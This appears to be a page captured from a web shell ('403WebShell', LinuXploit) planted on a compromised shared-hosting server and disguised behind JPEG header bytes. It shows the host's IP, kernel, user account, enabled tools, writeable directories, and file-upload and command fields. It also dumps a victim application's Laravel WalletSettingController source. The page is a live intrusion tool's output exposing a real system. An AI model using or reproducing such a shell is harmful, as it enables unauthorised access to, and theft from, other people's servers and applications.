����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.145.109.97
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/WalletSettingController.php
<?php

namespace App\Http\Controllers;

use App\UserWalletHistory;
use App\WalletSettings;
use Illuminate\Http\Request;
use Illuminate\Routing\Controller;
use Yajra\DataTables\Facades\DataTables;

class WalletSettingController extends Controller
{
    /*
    |--------------------------------------------------------------------------
    | WalletSettingController
    |--------------------------------------------------------------------------
    |
    | This controller holds the logics and functionality of wallet settings.
    |
     */

    /**
     * @return view of wallet settings
     */

    public function index(Request $request)
    {
        $wallet = WalletSettings::first();
        $wallet_transactions = UserWalletHistory::orderBy('id', 'DESC')->get();
        if ($request->ajax()) {
            return DataTables::of($wallet_transactions)

                ->addIndexColumn()
                ->editColumn('user', function ($row) {
                    return $row->wallet->user->name ?? '';
                })

                ->editColumn('type', function ($row) {
                    if ($row->type == 'Credit') {
                        return '<span class="text-green">' . $row->type . '</span>';
                    } else {
                        return '<span class="text-red">' . $row->type . '</span>';
                    }
                })
                ->editColumn('amount', function ($row) {
                    if ($row->type == 'Credit') {
                        return "<span class='text-green'><b> + $row->amount </b></span>";
                    } else {
                        return "<span class='text-red'><b> -  $row->amount </b></span>";
                    }
                })

                ->addColumn('log', function ($row) {
                    return $row->log;
                })
                ->rawColumns(['user', 'type', 'amount', 'log'])
                ->make(true);
        }

        return view('admin.wallet.setting', compact('wallet', __('wallet_transactions')));
    }

    /**
     * This function holds the funncality to update wallet settings.
     */

    public function update(Request $request)
    {
        if (env('DEMO_LOCK') == 1) {
            return back()->with('deleted', __('This action is disabled in the demo !'));
        }

        try {

            /** Get the wallet settings */

            $settings = WalletSettings::first();
            $input = $request->all();

            if ($settings) {

                if (!isset($input['enable_wallet'])) {
                    $input['enable_wallet'] = 0;
                } else {
                    $input['enable_wallet'] = 1;
                }

                if (!isset($input['paytm_enable'])) {
                    $input['paytm_enable'] = 0;
                } else {
                    $input['paytm_enable'] = 1;
                }

                if (!isset($input['paypal_enable'])) {
                    $input['paypal_enable'] = 0;
                } else {
                    $input['paypal_enable'] = 1;
                }

                if (!isset($input['stripe_enable'])) {
                    $input['stripe_enable'] = 0;
                } else {
                    $input['stripe_enable'] = 1;
                }

                $settings->update($input);

            } else {

                /** Create new wallet settings if not exist */

                $settings = new WalletSettings;

                if (!isset($input['enable_wallet'])) {
                    $input['enable_wallet'] = 0;
                } else {
                    $input['enable_wallet'] = 1;
                }

                if (!isset($input['paytm_enable'])) {
                    $input['paytm_enable'] = 0;
                } else {
                    $input['paytm_enable'] = 1;
                }

                if (!isset($input['paypal_enable'])) {
                    $input['paypal_enable'] = 0;
                } else {
                    $input['paypal_enable'] = 1;
                }

                if (!isset($input['stripe_enable'])) {
                    $input['stripe_enable'] = 0;
                } else {
                    $input['stripe_enable'] = 1;
                }

                $settings->create($input);
            }

            return back()->with('success', __('Wallet Settings Updated !'));

        } catch (\Exception $e) {

            /** Catch the error and @return back to previous location with error message */

            return back()->with('deleted', $e->getMessage());
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit